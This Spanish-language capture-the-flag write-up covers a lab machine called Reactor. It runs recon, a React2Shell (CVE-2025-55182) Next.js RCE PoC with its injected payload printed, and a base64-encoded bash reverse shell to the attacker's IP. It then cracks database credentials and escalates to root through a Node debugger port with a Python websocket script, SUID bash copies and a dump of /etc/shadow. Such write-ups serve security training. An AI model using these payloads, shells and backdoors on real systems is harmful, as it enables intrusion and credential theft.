Reactor expone una aplicacion web donde se identifico y exploto la vulnerabilidad React2Shell para acceso inicial. Credenciales en la base de datos permitieron el acceso por SSH. Finalmente se escalaron privilegios abusando de un proceso node ejecutado como root en modo debug, mediante Chrome y Python.
| Nombre |
Reactor |
| OS |
Linux  |
| Puntos |
20 |
| Dificultad |
Easy |
| Fecha de Salida |
2026-05-23 |
| IP |
10.129.105.243 |
| Maker |
tejas3008 |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [1611, 2064, 5274, 2650, 1020, 309, 224, 70, 26, 71],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (3000) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
# Nmap 7.99 scan initiated Sat May 23 20:52:07 2026 as: /usr/lib/nmap/nmap --privileged -p22,3000 -sV -sC -oN nmap_scan 10.129.105.243
Nmap scan report for 10.129.105.243
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sun, 24 May 2026 02:57:06 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 02:57:08 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.99%I=7%D=5/23%Time=6A1267E4%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,2A30,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Sun,\x2024\x20May\x202026\x2002:57:06\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Sun,
SF:\x2024\x20May\x202026\x2002:57:08\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Sun,\x2024\x20May\x202026\x2002:57:08\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 23 20:52:40 2026 -- 1 IP address (1 host up) scanned in 32.58 seconds
|
Los headers del puerto 3000 muestran X-Powered-By: Next.js lo que indica la tecnologia utilizada.
WebSite
En el puerto 3000 se muestra el contenido que sirve la aplicacion NextJS.

Wappalyzer muestra los frameworks React y Nextjs 15.0.3.

Directory Brute Forcing
feroxbuster muestra contenido estatico y archivos de la aplicacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
❯ feroxbuster -u http://10.129.105.243:3000/ -w $CM
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.105.243:3000/
🚩 In-Scope Url │ 10.129.105.243
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 120w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308 GET 1l 1w 17c http://10.129.105.243:3000/_next/static/css/ => http://10.129.105.243:3000/_next/static/css
308 GET 1l 1w 6c http://10.129.105.243:3000/_next/ => http://10.129.105.243:3000/_next
308 GET 1l 1w 13c http://10.129.105.243:3000/_next/static/ => http://10.129.105.243:3000/_next/static
200 GET 1l 66w 3329c http://10.129.105.243:3000/_next/static/chunks/webpack-db0a529a99835594.js
200 GET 1l 2w 463c http://10.129.105.243:3000/_next/static/chunks/main-app-4fbb4b1f318e39a0.js
200 GET 1l 85w 6707c http://10.129.105.243:3000/_next/static/css/414e1be982bc8557.css
308 GET 1l 1w 20c http://10.129.105.243:3000/_next/static/chunks/ => http://10.129.105.243:3000/_next/static/chunks
200 GET 1l 2125w 112594c http://10.129.105.243:3000/_next/static/chunks/polyfills-42372ed130431b0a.js
200 GET 1l 2979w 166088c http://10.129.105.243:3000/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js
200 GET 2l 4694w 181180c http://10.129.105.243:3000/_next/static/chunks/517-d083b552e04dead1.js
200 GET 1l 337w 17175c http://10.129.105.243:3000/
308 GET 1l 1w 8c http://10.129.105.243:3000/cgi-bin/ => http://10.129.105.243:3000/cgi-bin
❯
|
CVE-2025-55182
Basandonos en la version de NextJS encontramos una vulnerabilidad que afecta a React y NextJS, a esta vulnerabilidad se le conoce como React2Shell, que explota los React Server Components (RSC).
Exploit
Clonamos un repositorio con un PoC para esta vulnerabilidad.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ git clone https://github.com/pkrasulia/CVE-2025-55182-NextJS-RCE-PoC.git
Cloning into 'CVE-2025-55182-NextJS-RCE-PoC'...
remote: Enumerating objects: 38, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 38 (delta 9), reused 35 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (38/38), 2.47 MiB | 7.97 MiB/s, done.
Resolving deltas: 100% (9/9), done.
❯ cd CVE-2025-55182-NextJS-RCE-PoC
❯ ls
app public eslint.config.mjs exploit.js next.config.js package-lock.json package.json postcss.config.mjs README.md tsconfig.json
❯
|
Ejecutamos el exploit especificando un ping a nuestra maquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
❯ node exploit.js http://10.129.105.243:3000 'ping -c 2 10.10.14.15'
🚀 Launching exploit against: http://10.129.105.243:3000
🎯 Target command: ping -c 2 10.10.14.15
📝 Injecting JS code: (function(){
try {
var res = process.mainModule.require("child_process").execSync("ping -c 2 10.10.14.15").toString();
console.log("\n[+] RCE RESULT:\n" + res);
throw new Error("[+] RCE SUCCESS: " + res);
} catch(e) {
console.log(e);
throw e;
}
})()
[*] Sending packet...
⏱️ Response time: 1.79 sec
[+] HTTP Status: 500 Internal Server Error
✅ PROBABLE SUCCESS: Received 500 error (expected for RCE).
Check if the command executed!
❯
|
tcpdump muestra trafico ICMP.
1
2
3
4
5
6
7
8
|
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:28:25.544513 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20518 unreachable, length 97
21:28:25.544550 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20710 unreachable, length 96
21:28:25.782671 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20518 unreachable, length 100
21:28:28.282040 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20679 unreachable, length 68
21:28:28.290949 IP 10.129.105.243 > 10.10.14.15: ICMP 10.129.105.243 udp port 20848 unreachable, length 48
|
User - node
Ejecutamos nuevamente, pero esta vez especificando una shell inversa, logrando el acceso como node.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# node exploit.js http://10.129.105.243:3000 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS8xMzM1IDA+JjEK | base64 -d | bash'
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.105.243: inverse host lookup failed: Unknown host
connect to [10.10.14.15] from (UNKNOWN) [10.129.105.243] 36480
bash: cannot set terminal process group (1406): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$ whoami;id;pwd
whoami;id;pwd
node
uid=999(node) gid=988(node) groups=988(node)
/opt/reactor-app
node@reactor:/opt/reactor-app$
|
Database
En el directorio de la aplicacion encontramos el archivo .env que almacena una API Key y la direccion de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
node@reactor:/opt/reactor-app$ ls -lah
total 76K
drwxr-xr-x 5 node node 4.0K Dec 28 21:05 .
drwxr-xr-x 4 root root 4.0K Apr 27 11:26 ..
drwxr-xr-x 2 node node 4.0K Dec 28 20:47 app
-rw-r--r-- 1 node node 276 Dec 28 21:05 .env
drwxr-xr-x 7 node node 4.0K Dec 28 20:47 .next
-rw-r--r-- 1 node node 172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node 4.0K Dec 28 20:47 node_modules
-rw-r--r-- 1 node node 269 Dec 28 20:47 package.json
-rw-r--r-- 1 node node 29K Dec 28 20:47 package-lock.json
-rw-r----- 1 node node 12K Dec 28 21:03 reactor.db
node@reactor:/opt/reactor-app$ cat .env
# ReactorWatch Configuration
# Database connection for sensor data
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# Node environment
NODE_ENV=production
node@reactor:/opt/reactor-app$
|
La base de datos muestra dos hashes de usuarios.
1
2
3
4
5
6
7
8
9
10
11
|
$ which sqlite3
/usr/bin/sqlite3
$ sqlite3
.open reactor.db
.tables
sensor_logs users
select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
.exit
$
|
crackstation muestra unicamente el hash de engineer.
| Hash |
Type |
Result |
a203b22191d744a4e70ada5c101b17b8 |
Unknown |
Not found |
39d97110eafe2a9a68639812cd271e8e |
md5 |
reactor1 |
Verificamos que las credenciales son validas por SSH.
1
2
3
4
|
❯ nxc ssh 10.129.105.243 -u engineer -p reactor1
SSH 10.129.105.243 22 10.129.105.243 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16
SSH 10.129.105.243 22 10.129.105.243 [+] engineer:reactor1 Linux - Shell access!
❯
|
User - Engineer
Con las credenciales logramos una shell como engineer y realizamos la lectura de la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ssh engineer@10.129.105.243
The authenticity of host '10.129.105.243 (10.129.105.243)' can't be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.105.243' (ED25519) to the list of known hosts.
engineer@10.129.105.243's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Sun May 24 03:58:41 2026 from 10.10.14.15
engineer@reactor:~$ whoami;pwd;id
engineer
/home/engineer
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
1592583354e18cf2f60c334317c960af
engineer@reactor:~$
|
Privesc
Encontramos el proceso node siendo ejecutado como root con la flag --inspect, la cuall crea un websocket para depuracion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
engineer@reactor:/$ ps -ef | grep root
root 1 0 0 02:52 ? 00:00:02 /sbin/init
root 2 0 0 02:52 ? 00:00:00 [kthreadd]
# ... skip ...
root 1112 2 0 02:52 ? 00:00:00 [kworker/R-crypt]
root 1400 1 0 02:52 ? 00:00:00 /usr/sbin/cron -f -P
root 1409 1 0 02:52 ? 00:00:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
root 1425 1 0 02:52 tty1 00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1560 2 0 03:03 ? 00:00:00 [kworker/u258:2-flush-252:0]
root 1604 2 0 03:20 ? 00:00:00 [kworker/u257:1-writeback]
root 1609 2 0 03:20 ? 00:00:00 [kworker/0:0-cgroup_release]
root 1621 1 0 03:20 ? 00:00:00 /usr/libexec/upowerd
root 1637 2 0 03:25 ? 00:00:01 [kworker/1:2-events]
# ... skip ...
root 1781 1701 0 04:01 ? 00:00:00 sshd: engineer [priv]
engineer 1816 1765 0 04:02 pts/0 00:00:00 grep --color=auto root
engineer@reactor:/$ cat /opt/uptime-monitor/worker.js
|
El script escribe en un archivo .csv el estado de la aplicacion del puerto 3000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
const http = require('http');
const fs = require('fs');
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;
function csvEscape(value) {
const s = String(value ?? '');
return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}
function record({ status, latency, size, error }) {
const row = [
new Date().toISOString(),
status ?? '',
latency ?? '',
size ?? '',
error ?? '',
]
.map(csvEscape)
.join(',') + '\n';
fs.appendFileSync(CSV_FILE, row);
}
function probe() {
const start = process.hrtime.bigint();
let bytes = 0;
const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
res.on('data', (chunk) => {
bytes += chunk.length;
});
res.on('end', () => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
status: res.statusCode,
latency: latencyMs,
size: bytes,
});
});
});
req.on('error', (error) => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
latency: latencyMs,
error: error.code || error.message,
});
});
req.on('timeout', () => {
req.destroy();
record({
latency: TIMEOUT_MS,
error: 'TIMEOUT',
});
});
}
setInterval(probe, INTERVAL_MS);
probe();
console.log('uptime-monitor up, pid=' + process.pid);
|
Se observa el contenido del archivo y el puerto local (9229) en escucha para depuracion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
engineer@reactor:~$ ls -lah /var/log/uptime-monitor.csv
-rw-r--r-- 1 root root 11K May 24 04:14 /var/log/uptime-monitor.csv
engineer@reactor:~$ head /var/log/uptime-monitor.csv
2026-05-18T10:39:16.724Z,200,6,17175,
2026-05-18T11:38:16.946Z,,44,,ECONNREFUSED
2026-05-18T11:38:46.985Z,200,63,17175,
2026-05-18T11:43:36.892Z,,92,,ECONNREFUSED
2026-05-18T11:46:30.195Z,,64,,ECONNREFUSED
2026-05-18T11:47:00.208Z,200,57,17175,
2026-05-18T11:47:30.180Z,200,9,17175,
2026-05-18T12:15:02.927Z,,85,,ECONNREFUSED
2026-05-18T12:15:32.921Z,200,65,17175,
2026-05-18T12:16:00.589Z,200,10,17175,
engineer@reactor:~$ netstat -ntpl
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
engineer@reactor:~$
|
Port Forwarding
Realizamos port forwarding con ssh para obtener el puerto 9229 localmente.
1
2
3
|
❯ ssh engineer@10.129.105.243 -L 9229:127.0.0.1:9229 -fN
engineer@10.129.105.243's password:
❯
|
Shell via Chrome
Utilizamos Chrome para interactuar con el websocket. En chrome://inspect observamos la aplicacion ya listada, ya que el puerto 9229 es por default.

Al darle Trace se abren las herramientas de desarrollador donde podemos escribir y ejecutar codigo en la consola.
1
|
process.mainModule.require('child_process').execSync('whoami').toString();
|
Observamos la ejecucion de whoami.

Realizamos una copia de bash con permisos SUID.
1
|
process.mainModule.require('child_process').execSync('cp /usr/bin/bash /usr/bin/sc; chmod +s /usr/bin/sc').toString();
|
Ejecutamos la copia SUID con -p, logrando acceso root y la lectura de la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
|
engineer@reactor:~$ /usr/bin/sc -p
engineer@reactor:~$ /usr/bin/sc -p
sc-5.2# whoami;id
root
uid=1000(engineer) gid=1000(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd),1000(engineer)
sc-5.2# cd /root
sc-5.2# ls
root.txt
sc-5.2# cat root.txt
d93040125a04d799bb30db65d6e96ef3
sc-5.2#
|
Shell via Python
Basado en DevTools Protocol listamos los websockets disponibles, se observa el archivo en ejecucion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
❯ curl -s http://127.0.0.1:9229/json/list | jq
[
{
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "3797f5e4-761b-4f7d-92f4-403b18f93059",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/3797f5e4-761b-4f7d-92f4-403b18f93059"
}
]
❯
|
Utilizamos python para obtener la lista y ejecutar comandos directamente con el websocket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import json, requests, websocket
URL = "http://127.0.0.1:9229/json/list"
ws_url = requests.get(URL).json()[0]["webSocketDebuggerUrl"]
ws = websocket.create_connection(ws_url)
data = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "process.mainModule.require('child_process').execSync('whoami').toString();"
}
}
ws.send(json.dumps(data))
r = json.loads(ws.recv())["result"]["result"]["value"]
print(r)
ws.close()
|
La ejecucion muestra el resultado.
1
2
3
4
|
❯ python devtools_cn.py
root
❯
|
Ejecutamos nuevamente igual que antes.
1
2
3
4
5
|
# cp /usr/bin/bash /usr/bin/bs; chmod +s /usr/bin/bs; ls -lah /usr/bin/bs
❯ python devtools_cn.py
-rwsr-sr-x 1 root root 1.4M May 24 05:16 /usr/bin/bs
❯
|
Esto permitio obtener acceso root.
1
2
3
4
|
engineer@reactor:~$ /usr/bin/bs -p
bs-5.2# whoami
root
bs-5.2#
|
Loot
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
sc-5.2# cat /etc/shadow
root:$y$j9T$eJAH7p7TxU.lFZFC0WOND/$1mw1NhZtJOB7JXVTdKmWM0jn1SjtF4ykv.7poV98dF.:20450:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20450::::::
sshd:!:20450::::::
engineer:$6$tg15Yw9VXUvmSi4n$8hIU2q5IigHeoXEqQWDjtphs6Ed5/ZC5bZz2SI.dxwB1nDJEL4wqQgQm6Cqdiue6Xm24csSe.CSDBDFTJPyRk0:20450:0:99999:7:::
node:!:20450::::::
_laurel:!:20591::::::
sc-5.2#
|